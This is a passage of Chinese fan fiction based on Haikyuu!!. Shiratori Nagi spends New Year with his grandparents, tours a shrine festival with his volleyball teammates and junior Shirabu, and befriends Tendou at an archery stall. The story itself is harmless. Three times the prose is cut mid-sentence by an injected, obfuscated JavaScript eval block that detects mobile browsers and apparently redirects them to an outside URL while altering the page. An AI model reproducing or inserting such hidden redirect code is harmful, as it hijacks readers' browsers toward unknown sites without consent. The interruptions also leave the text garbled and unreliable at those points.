教导主任“竞走”式追向白鸟凪离开的方向，但白布贤二郎完全不会替白鸟学长担心。 整个黑丰中学都知道，3年1组的白鸟总会以各种各样的理由触怒教导主任，所得到的最严重的惩罚也不过是通报栏C位出道。 教导主任，你太溺爱了。 白布贤二郎嫌弃脸。 …… 白鸟凪要报考白鸟泽这件事并没有让他的老师们感到意外。 白鸟泽是宫城县最好的私立高中之一，按照白鸟那事事要强的性格，升学时瞄准最好的高中再正常不过。 白鸟凪将自己的升学意向表上交后，就进入了全力备考白鸟泽的状态。 距离升学考试还有很长一段时间，他能做的事还有很多。 狠狠学了两个月、将自己埋进书里的白鸟凪，再次走出家门时，整个人像是贫血的吸血鬼一样沧桑。 他看着手机上的消息，小声嘀咕道：“老妈真是的，又让我一个人承受外公外婆的怒火。” 屏幕上，一条已读消息： 「母上大人：亲爱的阿凪，当你看到这条消息的时候，就说明你敬爱的妈妈再一次没办法回家过年了——今年也拜托你来哄你的外公外婆啦！」 ……啦什么啦！ 两位老人家确实是他的外公外婆，但也是你的亲爸亲妈啊！ 于是白鸟凪只能气哼哼的出门，采购一些可以哄外公外婆的伴手礼。 其实这只是他第二次没办法和妈妈一起过年，往年无论妈妈工作多忙，在新年的这一天，她都会赶回来，和他与外公外婆一起度过。 看来这次她又在面对一些没办法脱身的麻烦了。 白鸟凪一边刷卡结账，一边担忧着老妈的工作情况。 然后拎着两大兜子伴手礼，前往外公外婆家，哄两位连新年都看不到女儿的老人。 “外公外婆！我回来啦！” 声音率先进门，爽朗又响亮。 两位老人脚步矫健的噔噔噔下楼，看着刚冲进大门的俊秀少年，眼里的慈爱都要溢出来了：“慢点慢点，外公外婆在呢。” 白鸟凪随手将伴手礼递给了管家爷爷：“雀山爷爷辛苦了。” 雀山管家笑眯眯的看向自家的小少爷：“欢迎回家。” 随后，白鸟凪就被快步赶来的外公外婆抱住，摸头戳脸捏捏肩膀，然后发出一句经典感叹： “怎么又瘦了？” 白鸟凪：完全没有瘦啊！ “明明是非 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15122649|164125||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 常匀称标准的体型！”白鸟凪在外公外婆面前转了个圈，向两位总是很操心的老人家确认他的“成长情况”。 外公白鸟大辅仔仔细细的将外孙从上到下打量了一遍后，才撇撇嘴道：“还凑合……” 外婆白鸟梨沙子又捏了捏外孙的脸，才叹气：“自己一个人住一定要好好吃饭。” 他们提过很多次让阿凪和他们一起住，但阿凪以“我已经是个大人了完全能够照顾好自己”的理由，坚持要一个人在黑丰中学附近生活。 白鸟家家风开明，愿意尊重孩子的选择，最终白鸟大辅和白鸟梨沙子只能含泪挥着小手绢，让刚上国一的阿凪独居。 白鸟凪笑笑：“我每个月都会回来一次，有没有养好自己你们一眼就看出来了，别担心。” 白鸟大辅没好气的抬手敲了一下笨蛋外孙的脑袋：“装什么沉稳懂事？我们还不知道你？” 白鸟凪捂着并不痛的脑门假装委屈：“你们应该一脸感动的表示‘我们阿凪终于长大了’才对！” 白鸟梨沙子忍不住笑着揉了揉外孙的头：“能说出这样的话，就说明你还没有长大啊。” 白鸟凪一回来，空旷的别墅里开始回荡起欢声笑语。 “啊，对了，忘了说件事……妈妈不回来过年了。” “……什么？！！！” 白鸟凪连忙向雀山爷爷伸手，而雀山管家十分默契的将手中的伴手礼又递回到白鸟凪手里。 “外公外婆别生气！”白鸟凪高举手中的伴手礼：“我给你们带了礼物！” 两位老人家被怼到面前的伴手礼噎住，一时失语。 好半响，白鸟大辅才磨牙道：“忙忙忙，全天下她最忙！” 他也是总裁，他怎么就有空回家过年呢！ 白鸟大辅还没到退休的年纪，目前就任白鸟集团的董事长，打理白鸟家的家族企业。 他倒是想早早退休，只可惜独生女对继承家业完全没兴趣，找了个合适的机会直接跑到了美国独自创业，没几年就成功做大做强，根本喊不回来。 白鸟大辅又看向自己的外孙，沉重的叹了口气。 这个看上去也不像是能继承家业的。 他到底什么时候才能退休？ 白鸟凪：？？？ 外公？最最亲爱的外公？？为什么看到他就叹气？ “我难道不是你最爱的外孙了吗？”白鸟凪委屈巴巴：“为什么叹气？” 白鸟大辅失笑：“是是，你是我最爱的外孙。”虽然他只有这一个外孙。 “我只是想，你和你妈妈真像啊。”白鸟大辅轻叹一声：“谁都抓不住你们。” 小白鸟们总想着向远飞，他和老婆偶尔也会很寂寞啊。 白鸟梨沙子眼睫微垂，掩下情绪。 白鸟凪沉默片刻，小声道：“外公，外婆，我妈妈和我讲过你们年轻时的故事。” 白鸟大辅和白鸟梨沙子失落的表情顿时一僵。 白鸟凪委婉道：“你们能回来，全靠我外曾祖父天南海北的去抓你们。” 白鸟家人丁单薄，他外曾祖父只有两个孩子，外公是长子，外公还有一个小他10岁的弟弟，从小就热爱野外生存，目前不知道在哪个深山老林里探险呢。 而他的外公，同样是个究极自由主义，年轻时和外婆四处旅游，享受生活。 两人是初恋，而且是一见钟情的类型，据说是被对方身上的自由气息深深吸引到了——由此可见，他们确实天生一对爱流浪。 白鸟凪合理怀疑，如今的妈妈更喜欢在外闯荡而不是固守家业的原因，就是因为她有一个过于自由的童年。 妈妈说，在她六岁时，她的爷爷就开始四处抓她爸爸妈妈了。 她八岁时，她爸爸妈妈才终于被“抓”回宫城县，被迫继承家业。 为了让外公继承家业，外曾祖父付出了太多。 白鸟凪眨眨眼，看着两位心虚的老人家，笑容灿烂：“或许这就是遗传吧。” 白鸟家的基因就是向往广阔的天空和无拘无束的自由。 7. 新年君 白鸟大辅和白鸟梨沙子还想在外孙面前装一下忧伤的空巢老人，结果被外孙的“忆外公外婆往昔峥嵘岁月”轻松击破了忧伤的氛围。 白鸟凪乘胜追击：“而且，外公你其实是想将妈妈哄回来，顺势将她摁在国内继承家业，然后你和外婆出去玩吧。” 每年新年，白鸟家都会发生一场没有硝烟的战争. 外公像是丢垃圾一样试图将国内的集团丢给妈妈处理，而妈妈则会以“太忙”“没空”“告辞”三连招逃回美国，以免接手这个大麻烦。 外婆则是要比外公聪明很多，经常会使用一些柔怀战术，让妈妈放松警惕，在国内多待一段时间。 ……然后在订出国机票时，被他那更加聪明的妈妈抓住现行。 白鸟梨沙子：想先斩后奏跑了再说，没想到还是被女儿发现作案现场了。 白鸟千代：母上静悄悄，一定在作妖！ 想起自己和老婆的“累累罪行”，白鸟大辅轻咳一声，岔开话题：“好了好了，马上就要过年了，就不提那个不孝女了。” 白鸟凪心中感叹：我们白鸟家真是不孝不慈的一家人啊。 白鸟凪的回归，为这座精致但死板的别墅注入了满满的活力。 白鸟大辅像个老顽童一样抱怨道：“我还是不理解为什么父亲会将这个房子装修成这样，太无聊了。” 白鸟家自经商以来，家产就像是滚雪球一样越滚越大，而这个别墅是白鸟家刚攒下家业时购置的房产，也勉强能称得上是祖宅了。 其中的装修风格，大部分都是白鸟凪的外曾祖父亲手设计敲定的。 在当时的那个年代，欧式古堡一样的装修风格确实足够华丽漂亮，可时代发展飞快，以如今的审美看来，这样的装修风格虽然看起来依旧很装，但维护起来又费钱又麻烦。 别说是白鸟凪和他的妈妈白鸟千代，就连白鸟大辅和白鸟梨沙子都不喜欢住在这个冷冰冰的别墅里。 白鸟凪半躺在沙发上，悠闲的吃着水果：“那就重新装修一下嘛，外曾祖父他老人家在天有灵不会计较的。” 白鸟大辅露出神秘微笑：“来，跟我上三楼。” 白鸟凪吃水果的动作一顿，缓缓歪头：“诶？” 不会已经翻修了吧？ 没错，已经翻修了。 白鸟凪看着装修风格和一楼二楼十分割裂的三楼，缓缓点头：“还不错。” 一楼二楼是欧式古堡，三楼直接变成现代简约风大平层了。 不得不说，白鸟凪更喜欢外公外婆的审美。 白鸟大辅对自己的审美也很满意：“楼下就用来糊弄客户吧，自己住的地方还是要舒服一点。” 白鸟凪：当白鸟家的客户真是有福啦，为了你们的到访体验，外公他老人家都没能将祖宅整体翻修一遍。 “这样也不错。”白鸟凪笑道。 装修风格算什么？对于白鸟家来说，没有什么比开心更重要的事了。 白鸟凪在白鸟宅度过了一个愉悦的除夜，他那忙碌的母上大人以视频的形式参与了本次跨年。 ……甚至一边视频的同时还在一边焦头烂额的处理文件。 白鸟大辅幸灾乐祸：“你的公司终于要倒闭了吗？既然这样的话那我就不计前嫌的收留你吧！明天回国，下午就能上岗！” 白鸟千代淡定道：“很抱歉我亲爱的父亲，最近吃了个大单，有点噎，我会继续在国外努力，争取明年就赶超白鸟集团的。” 白鸟大辅大怒：“好嚣张的不孝女。” 白鸟千代不服：“好不慈的老父亲。” 白鸟凪和外婆白鸟梨沙子坐在一旁嗑瓜子。 “外婆，他们要吵到什么时候？不会耽误我们吃除夜饭吧？”白鸟凪十分担心。 白鸟梨沙子眼神一肃：“你们两个，要吵出去吵，别打扰我家阿凪吃除夜饭。” 隔着网线吵架的父女二人顿时噤声，脸上露出同款“老实巴交”。 白鸟凪感叹：“不愧是父女啊。” 白鸟梨沙子抬手敲了一下阿凪的脑袋：“你这个促狭样子和你妈妈一模一样。” 白鸟凪立刻得意的表示：“不愧是母子啊！” 白鸟梨沙子笑出了眼泪。 欢声笑语中，新的一年开始了。 新年第一天，白鸟凪领了三份厚厚的年玉——妈妈的那份年玉由很慈的外婆出。 他看着自己手机上密密麻麻消息，露出了炫耀似的苦恼表情： “太受欢迎了怎么办？” 白鸟大辅理所当然道：“阿凪受欢迎是很正常的事吧。” 白鸟梨沙子也点头：“我们家阿凪就是人人都爱啊。” 白鸟凪本就翘起的尾巴终于彻底开屏：“外公外婆，我和朋友们出去玩了！” 白鸟大辅和白鸟梨沙子淡定摆手：“玩得开心。” 等下他们也会出去玩的——好不容易挤出来的假期，当然要好好享受一下！ 雀山管家：老爷、老夫人、凪少爷，晚上还回来吃饭吗？ 白鸟大辅看向雀山：“走走走，一起出去玩！” 雀山管家嘴角上扬了一个像素点。 他也不回家吃饭了。 …… 邀请白鸟凪出去玩的当然是黑丰排球部的大家。 三年级组全员到场，二年级的白布贤二郎也被三年级的学长们（白鸟凪带头）堵在家门口“邀请”出来了。 白布贤二郎：…… 拥有这样的学长们，命好苦。 白布贤二郎面无表情的用眼神碎碎念： 为什么三年级的集体活动一定要叫上我这个可怜的二年级？ 既然已经叫上了我这个二年级为什么不把所有的二年级都叫上？ 白鸟学长你到底什么时候能升上高中？ 白鸟凪像是知道他在腹诽些什么一样，转过头看向白布，笑眯眯道：“虽然我很快就要升学到高中了，但我还是你最最喜欢最最尊敬的白鸟学长哦~” 至于为什么没叫上全部二年级……二年级的社交应该交给你啊白布！ 白布，你应该反思，你应该自省，为什么在场的只有你一个二年级！ 白鸟凪眨眨眼，突然话锋一转：“没准我们会上同一所高中呢。” 言下之意，就算我升学了，你也摆脱不了我。 白布贤二郎表情惨淡：“白鸟学长，不要说鬼故事好吗？” 他是绝对不会报考白鸟泽的！ 白布贤二郎暗下决心。 他们站在神社前，完成新年参拜。 抽了签文，大家的新年运势都不错，运气最好的是白鸟凪，他抽到了大吉，签文的寓意是“凡事皆顺利”。 最差的是白布贤二郎抽到的末吉，签文的寓意是“拒绝的幸运会不期而遇”。 ……听上去像是强买强卖的幸运一样。 白鸟凪看到这个签文的释义，笑了：“你刚刚在神明前许了什么愿望？” 白布贤二郎幽怨的看了白鸟学长一眼。 他抽签时，可是默念了三遍“我一定会有个清净的高中生活”，然后才认真摇晃签筒的！ “……没什么。”白布贤二郎移开视线：“晚上会有春节祭。” 白鸟凪眨眨眼：“白布想参加春节祭啊……当然可以！” 白布贤二郎：只是想转移话题，并没有想参加的意思。 但听到白鸟学长兴致勃勃的计划着晚上要如何畅游宫城县春节祭，白布贤二郎最终还是将话都咽了回去。 正如学长们所说，三年级很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15126951|164125||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 快就要毕业了。 能够像这样人员整齐的聚在一起的时光，会越来越少吧。 白布贤二郎死鱼眼：“白鸟学长，请不要搓乱我的刘海。” 白鸟凪笑容爽朗：“哎呀，将整齐的头发搓乱才有成就感嘛！” 其他众人眼睛一亮，中岛航生的手指动了动，跃跃欲试：“看上去很好玩！” 平井武已经上了：“白布，让我也玩玩！” 白布贤二郎左右腾挪，尝试着躲开毫无边界感的学长们，但学长们人多力量大，最终还是成功镇压了他的反抗，对着他原本整齐的刘海，每人搓了一把。 白布贤二郎：……幼稚！学长们真的很幼稚！ 白鸟凪不知道从哪里掏出来了一把小木梳，动作熟练的将白布凌乱的刘海重新打理整齐，笑着道：“好了好了，别气了。” 白布贤二郎瞪他，眼神凶巴巴：就算你这么说，我也还记得第一个动手的人是谁！ 别以为帮他梳头就能将这件事混过去！ 众人惊：“你哪来的木梳？？” 白鸟凪得意的翘起嘴角：“白鸟大人要时刻注意形象！” 为了大家心中完美的白鸟形象，白鸟凪一直都很努力！ 白布贤二郎：根本没有这个形象！ 白鸟凪将白布的头发重新梳回乖顺的样子，忍不住失笑道：“明明是个一身反骨的家伙，头发却意外的乖巧。” 白布贤二郎：……拳头硬了。 白鸟凪从兜里又摸出一个年玉红包，塞给气鼓鼓的白布：“新年快乐，白布。” 白布贤二郎怔住。 随后，其他三年级学长们也纷纷掏出自己早就准备好的年玉，塞给白布这个最受欢迎的后辈。 上承恶趣味满满的白鸟学长，下启脑回路清奇的一年级后辈们，白布真是辛苦了。 没一会儿的功夫，白布贤二郎的怀里就塞满了年玉。 他抿抿嘴，不知道该说些什么。 白布贤二郎并不擅长面对这样的画面，他更习惯和白鸟学长斗嘴、吐槽其他学长们对白鸟学长的溺爱。 白鸟凪拍了拍白布的肩膀：“怎么，高兴傻了？没想到完美的白鸟学长还可以更完美吧！” 白布贤二郎：…… 对，就是这种感觉。 白鸟学长总能将一个气氛无比温馨感动的画面变得搞笑起来。 白鸟凪单手抵住额头，摆出一个帅气的姿势，沉浸式演绎： “我知道，白布你心里对我的崇拜犹如滔滔江水般奔流汹涌，连绵不绝。” 白布贤二郎：我不是。 “我也知道，你作为一个傲娇，很难爽朗的表达出对我的敬仰和信赖。” 白布贤二郎：我没有。 白鸟凪张开怀抱： “来吧，将你对我的爱戴大声说出来吧！” 白布贤二郎：我拒绝。 而三年级学长们还跟着白鸟学长一起胡闹，做出撒花的姿势：“人人都爱白鸟大人！” 白布贤二郎：……好丢人。 “如果你们一定要……用这种方式让我丢脸的话。”白布贤二郎沉重的闭上双眼，忍耐着神社周围人投来的各种各样的目光，声音疲惫：“你们赢了。” 拜托了，不要在这么多人的地方癫起来，好吗？ 真的很想装作不认识你们啊！ 白鸟凪瞬间恢复正常，拳头抵在唇边，轻咳一声：“好了，离春节祭还有很长的时间，我们先去垫垫肚子吧。” “拉面拉面！” “蛋包饭也很棒！” “炒面也不错~” 白布贤二郎看着面前收放自如的众位学长们，深觉自己和他们完全不在同一个频道。 太可怕了，三年级学长们。 8. 初见君 他们吃过午饭后，又四处逛了逛，终于等到太阳快要落山时，春节祭开始了。 白鸟凪拢了拢围在脖子上的宽大围巾，是他出门前外婆给他围上的，帅气又保暖。 他对穿搭十分挑剔，小时候甚至会做出一些要风度不要温度的蠢事，被拎起来揍了两次也没改掉这个毛病。 嗯，轻得像羽毛一样的力道也很难让一个小犟种记住教训。 所以白鸟梨沙子的思想很快就从“如何让外孙穿得保暖”转变成了“如何让外孙穿得又帅又保暖”。 伊藤仁摸了摸下巴：“突然发现阿凪的私服很帅啊。” 平时在学校里人人都穿着校服，阿凪虽然长得很帅气，是个超有人气的池面，但也看不出和其他人有太多不同——顶多就是光影格外偏爱他，像是自带滤镜一样而已。 但当大家都换上私服后，这家伙的脸搭配上出色的衣品，瞬间就显得格外突出起来。 ……感觉是个可以靠脸吃饭的讨厌家伙。 伊藤仁酸溜溜的想。 白鸟凪眼睛一亮，叉腰得意：“伊藤仁你很有眼光嘛！在出门之前，我可是在衣柜前搭配了整整一个小时！” 要时刻保持完美，用最佳的状态迎接众人倾慕的目光！ 伊藤仁：……啧，这家伙的脸完全是用脑子换的。 突然就不羡慕了。 白布贤二郎深有同感的点点头：是啊是啊伊藤学长你终于意识到了，白鸟学长其实是个笨蛋啊！ 伊藤仁对着阿凪缓缓竖起大拇指：“不愧是阿凪，非常帅气的穿搭！” 一句夸夸，成功激活黑丰三年级夸夸组： “只有阿凪才能穿出这样帅气的效果！” “阿凪果然是个完美的人呢，衣品也很完美！” “这一个小时的时间很值哦。” 白鸟凪叉腰，被夸夸环绕着，下巴都快翘到天上去了。 黑丰三年级组：虽然阿凪是个笨蛋，但我们还是很爱他。 白布贤二郎：……这群学长们也是笨蛋，没救了。 众人笑闹过后，结伴走进热闹的祭典。 道路两边都是些热气腾腾的小吃，最适合在这样寒冷的天气里为游玩的人续上一口温暖。 白鸟凪什么都要好奇的尝一尝，从街头开始吃，路程过半了嘴也没有停。 黑丰众人对于白鸟凪的食量已经见怪不怪——这家伙消化系统异常强悍，一旦动起来后就饿得飞快，运动包里总要准备一些能够快速补充体能且方便携带的食物。 “好漂亮！”白鸟凪用手中的糖葫芦指向一个小摊，推车上挂着各种各样精美的面具，似乎是考虑到祭典上的人都要吃吃喝喝，所以大部分的面具都是只遮上半张脸。 看上去像是手工制作，无论是色彩还是形状都十分精巧。 白鸟凪将手上的炒面包和糖葫芦都塞给白布，然后快步上前，笑眯眯道：“老板，这几个怎么卖？” 他的手快速点过几个面具，数量刚好是他们一行人。 摊位老板对上白发少年那爽朗的笑容，也忍不住勾起嘴角，报出了价格。 白鸟凪果断掏钱，将自己看中的那几个面具都买下，然后不由分说的戴到了好友们的脸上。 “嗯嗯，很合适嘛。”白鸟凪满意的拍拍手，将最后一个留给自己的天鹅面具戴在脸上，又拿回白布手中的炒面包和糖葫芦：“这是新年礼物。” 白布贤二郎的脸上自然也戴上了面具，他将面具摘下来，仔细打量了片刻后，又戴在脸上。 是一个很漂亮的白鹫面具，上面的羽毛是一根一根粘上去的，非常精巧。 白鸟凪带着天鹅面具，视野被面具限制起来。 于是他理所当然的和大家走散了。 白鸟凪十分依赖自己的眼睛，造成的后果就是他的听觉并不灵敏，在他和大家走散之前，似乎有人喊过他的名字…… 他低头，咬了一口糖葫芦，慢慢吞吞的顺着人群走。 总会遇到的。 “老板，我要一份可乐饼！” 白鸟凪：我还能吃！ 白鸟凪很快就意识到了和大家走散的最大坏处。 他只有两只手，但炒面面包还有半份，糖葫芦还有三分之二串，面前是热气腾腾刚刚出锅的可乐饼。 人为什么只有两只手？ 白鸟凪陷入哲学思考。 “发现！迷茫的小天鹅！” 一声怪异的欢呼，穿过无数人流嘈杂的声音，轻飘飘的钻进他并不灵敏的耳朵。 白鸟凪转过头，入目是火焰一样热情又张扬的红色。 天童觉歪歪头，圆圆的眼睛、细小的瞳孔、过分灿烂的笑容，组成一个好心的路人：“我觉得，你或许需要帮助！” 白鸟凪眨眨眼，终于从强大的视觉冲击中缓过神，轻咳一声道：“如果你愿意的话……我们可以分享可乐饼。” 天童觉上前两步，白鸟凪注意到了他的脚步——很轻盈，又有点活泼，落脚点很奇怪，仿佛他自己也不知道下一秒要踩在哪里一样。 这个人，将走路的过程当做游戏了吗？ “那我就不客气了。”天童觉帮他拿起了可乐饼，并十分自然的拿起其中一个，沾了沾酱汁，一口下去，可乐饼变成了月牙的形状。 白鸟凪嘴角上扬：“好吃吗？” 天童觉眼睛很亮，小小的红色瞳孔里点亮了两颗小星星：“酱是甜的，好吃！” “帮我拿下这个。”白鸟凪将自己的糖葫芦递给眼前的少年：“我还没付钱。” 可乐饼摊主也不怕他逃单，此时正热火朝天的在做下一份可乐饼。 “老板，收钱啦！”白鸟凪提醒道：“你这样做生意会亏本哦。” 他一边将可乐饼的钱放进可乐饼摊主的零钱盒子，一边左腿抬起，挡在一个看上去就很不良的少年面前，声音中还带着笑意： “这位小哥，你还没给钱吧？” 不良少年抬头，手里拿着可乐饼，眼睛里全是对白鸟凪多管闲事的不满。 可乐饼摊主终于忙完了眼前的这一单，转头就看到了他的客人正在行侠仗义。 “我这是小本生意……”可乐饼摊主默默撸起袖子，在寒风中露出自己健硕的肱二头肌：“你不会逃单的，对吧？” 不良少年噎住，看着面前虎视眈眈的白毛，又看了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15132857|164125||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看秀肌肉的可乐饼摊主，嘀嘀咕咕的骂了几声，掏钱买单。 白鸟凪收回腿，转头看向红发少年：“我们走吧。” 天童觉站在一旁一言不发，只是若有所思的看着这一幕，直到白鸟凪解决这个小小的插曲，才将手中的糖葫芦递过去： “果然，你身边总是会发生有趣的事。” 白鸟凪眉头一挑：“你认识我？” 天童觉将剩下的小半块可乐饼丢进嘴里，含糊不清道：“算是。” 这已经是他第二次碰见白鸟凪乐于助人了。 天童觉的眼睛里带着毫不隐藏的探究，而这样堪称冒昧的视线却并没有让白鸟凪感到任何不适。 白鸟凪：遇到我这样完美的人，多看两眼是应该的，看到就是赚到！ “你这个糖葫芦是在哪儿买的？” “就在那边，你要吃吗？” “要吃！” 于是白鸟凪带着他折返，去寻找卖糖葫芦的小摊。 很奇怪，白鸟凪并没有摘下他的面具，视野依旧狭窄得令他辨别不出方向，但那抹火一样热烈的颜色始终在他的余光里静静的燃烧着。 五分钟后，天童觉手里也多了一串糖葫芦，红彤彤的山楂上裹着甜滋滋的蜜糖，一口下去酸酸甜甜的，好吃得让他笑弯了眼睛。 白鸟凪看着红色的少年吃着红色的糖葫芦，忍不住笑起来：“你吃糖葫芦的时候，感觉像是在吃同类。” 天童觉又咬下来一颗山楂：“是因为我和它都是红色？” 白鸟凪：“答对！” 两人对视一眼，突然哈哈大笑起来。 不明真相的路人看过去，只觉得这是一对相识了很久的好朋友。 谁能想到，他们才第一次见面呢？ 白鸟凪终于吃完了一串糖葫芦，将竹签放进挂在手臂上的垃圾袋里，然后接过新朋友手中的可乐饼，美滋滋的吃起来。 “好吃！”吃到美味的可乐饼，白鸟凪心情愉悦：“你接下来有什么想去的地方吗？” 天童觉想了想：“好像没什么……对了，巧克力冰淇淋！” 刚刚偶遇了小天鹅，差点忘了自己来这里的目的。 在冬日祭典里，除了热气腾腾的小吃外，不会化掉的冰淇淋也十分受欢迎。 白鸟凪闻言，也跟着眼睛一亮：“走，去买巧克力冰淇淋！” 他还能吃！ 于是两人一拍即合，直奔巧克力冰淇淋的摊位，异口同声道：“请给我一个巧克力冰淇淋！” 冰淇淋摊主迷茫：“是一个还是两个……” 白鸟凪和天童觉再次不约而同的出声：“我和他一人一个！” 冰淇淋摊主：“……你们是双胞胎吗？” 还带着天鹅面具的白鸟凪嘴角微抽：“老板，你脑洞好大……我们两个哪里像双胞胎了？” 天童觉也连连点头，火焰一样的头发也跟着一晃一晃的：“我们完——全不像！” 冰淇淋摊主耸耸肩：“好吧……巧克力味的是吧？” 白鸟凪和天童觉再次异口同声：“没错！巧克力赛高！” 冰淇淋摊主：……真的不是双胞胎？ 9. 烟花君 真的不是双胞胎。 白鸟凪手持巧克力冰淇淋，像是举着胜利的火炬一样——然后下一秒，胜利的火炬就消失了一小半的火焰。 舌尖顿时漫开巧克力的味道。 白鸟凪十分满意的点点头：“好吃。” 天童觉也一口咬掉了巧克力火炬的尖尖，眼睛微微眯起：“那是什么？” 白鸟凪顺着他指的方向看过去，是祭典常见的娱乐项目——射箭中奖品。 白鸟凪的视力很好，一眼就看到了摊位上的一等奖，被摊主摆在了最显眼的位置，吸引路人来玩射箭游戏。 “大白鹅抱枕……”天童觉转头，看了一眼白鸟凪后，噗嗤一声笑了出来：“这算是缘分吗？” 白鸟凪挑眉：“明明是天鹅抱枕。” 天童觉：“大白鹅抱枕。” 白鸟凪：“天鹅抱枕。” 两人说着说着，手里的巧克力冰淇凌被迅速消灭，人也出现在了射箭游戏的摊位前。 两人再一次异口同声的问道：“老板，这是天鹅还是大白鹅？” 射箭游戏摊主看到这两人默契的样子，顿时乐了：“你们谁赢了它，谁就拥有它的物种归属权。” 是大白鹅还是白天鹅，你们说了算。 白鸟凪和天童觉对视一眼，纷纷将自己手中的小吃装进食品袋里，放到一边。 “很抱歉，今天它必须叫大白鹅。”天童觉爽朗一笑。 白鸟凪拿起一把玩具弓，手指搭在弓弦上轻轻拨了两下：“我很欣赏你的自信，但天鹅就是天鹅。” 他感受着弓弦从指尖传来的陌生阻力，眼神有瞬间的怀念。 白鸟凪和天童觉各交了十次射箭的钱，并向摊主确认了游戏规则。 箭靶并不远，射中不同的环数会对应不同的奖品，而射中靶心的人则可以拿走一等奖——那个有着半人高的鹅型抱枕。 站在射位上，白鸟凪持弓待射，左脚向标靶的方向踏出半步，然后右脚向右外侧扇形迈开。 射箭游戏摊主表情一怔，眼里情绪翻涌，在白发少年举起手中的“玩具弓”时，慢慢归于平静。 他笑着摇摇头，低声道：“看来这天鹅抱枕今天就有归宿了。” 未经过训练的人，想要用玩具弓射中箭靶，是一件很难的事，更别提命中靶心了。 从他搭起这个摊子开始，这个抱枕就一直坐镇在他的摊位上，守护这个摊位。 摊主看着戴着天鹅面具的白发少年动作自然流畅的进行射法八节，眼神中带着明晃晃的欣赏。 白鸟凪在意识到自己做了什么后，也微微愣神，动作停在举起上，良久后才缓缓拉开弓弦。 手中的弓并不是昂贵的和弓。 但他还是在认真完成射法八节的动作。 天鹅面具局限住了他的视野，他终于可以“集中一点”“瞄准目标”。 天童觉站在一边，静静注视着眼前白发少年的动作，细细的瞳孔里晕开莫名的情绪。 当白鸟凪拉开弓弦的瞬间，仿佛时间都静止了。 就好像这个人并不是穿着风衣围着围巾站在人来人往的热闹集会，手持一把玩具弓为自己赢得奖品。 而是站在安静肃穆的弓道场上，身着合身的黑白袴服，踩在木制地板的射位上，拉开手中和弓的弓弦，瞄准箭靶。 “这是‘会’。”摊主声音很轻，像是怕影响射箭人的状态一样，天童觉要很仔细才能听清：“拉开弓弦后，全身静止，保持拉弓力度，身心集中注意力，瞄准箭靶。” 下一秒，勾着弓弦的手松开，箭矢驶出弓弦，像是刺破寒冷空气的风，迅速接近目标。 失去拉力的弓弦微微嗡鸣着，发出悦耳的声音。 或许并不悦耳，毕竟只是一把玩具弓的弓弦，材质普通，韧性也一般。 但天童觉就是莫名觉得，这道弦音很好听。 箭头插在箭靶上，发出沉闷的声音。 白鸟凪握着的弓在他手中自然而然旋转，弓弦翻转到了手背的方向。 “这是弓返，箭矢离弦后弓弦自然翻转到手背的动作。”摊主小声嘀咕：“玩具弓也能弓返？” 现在的小年轻也太厉害了。 白鸟凪缓缓呼出一口气，心情平静的收弓而立。 摊主心中暗道：射法八节最后一步，残心。 身心和呼吸调整到同一频率后，收弓。 “很久没有看到这么漂亮的射法八节了。”摊主等到白鸟凪放松下来后，才笑着拍手道：“真厉害。” 白鸟凪下意识的回以一个灿烂的笑容，融化了身上的冰雪，然后扭头看向新朋友：“我赢了！现在它叫天鹅抱枕！” 箭矢的尾部还在微微晃动着，箭头则是稳稳扎进靶心之中，宣告着白鸟凪的胜利。 天童觉语调怪异的哼了一声：“好吧，天鹅抱枕。” 虽然这么说着，但他还是举起了手中的玩具弓，将十支箭全部射完——中靶三支，但没有一支命中靶心。 天童觉一点都不意外，这才是正常人的射箭水平……他这个成绩，已经算是佼佼者了。 白鸟凪只射一箭后就放下了自己手中的玩具弓，显然没打算再继续下去。 游戏弓很难调试，他又很久没有碰弓了，这一箭正中靶心，除了他状态正佳外，运气占了很大一部分。 一箭命中靶心已经很帅了，至于剩下的九支箭，就留给未知吧。 只要他这九支箭不射，谁也不知道他是否能十箭全中。 他将进入永恒的无敌状态。 白鸟凪脸上一片淡定，心中的小阿凪则是在欢呼尖叫：哇塞，我真帅！ 天童觉虽然并不知道白鸟凪在想什么的，但也隐约猜中了他放弃接下来九箭的小心思。 他眼睛弯弯：“去抱属于你的胜利品吧。” 现在他承认，这家伙确实是天鹅了。 白鸟凪接过摊主递过来的天鹅抱枕，抱枕外面套着一层透明塑料袋，抱在怀里哗啦哗啦的响。 摊主想要退给白鸟凪九次射箭的钱，白鸟凪拒绝了。 “要在江湖上留下我的传说啊。”白鸟凪一脸深沉的表示。 ……其实是因为业余弓箭手玩这样的游戏明显欺负人，他一时上头应下赌约，回过神后就有点心虚了。 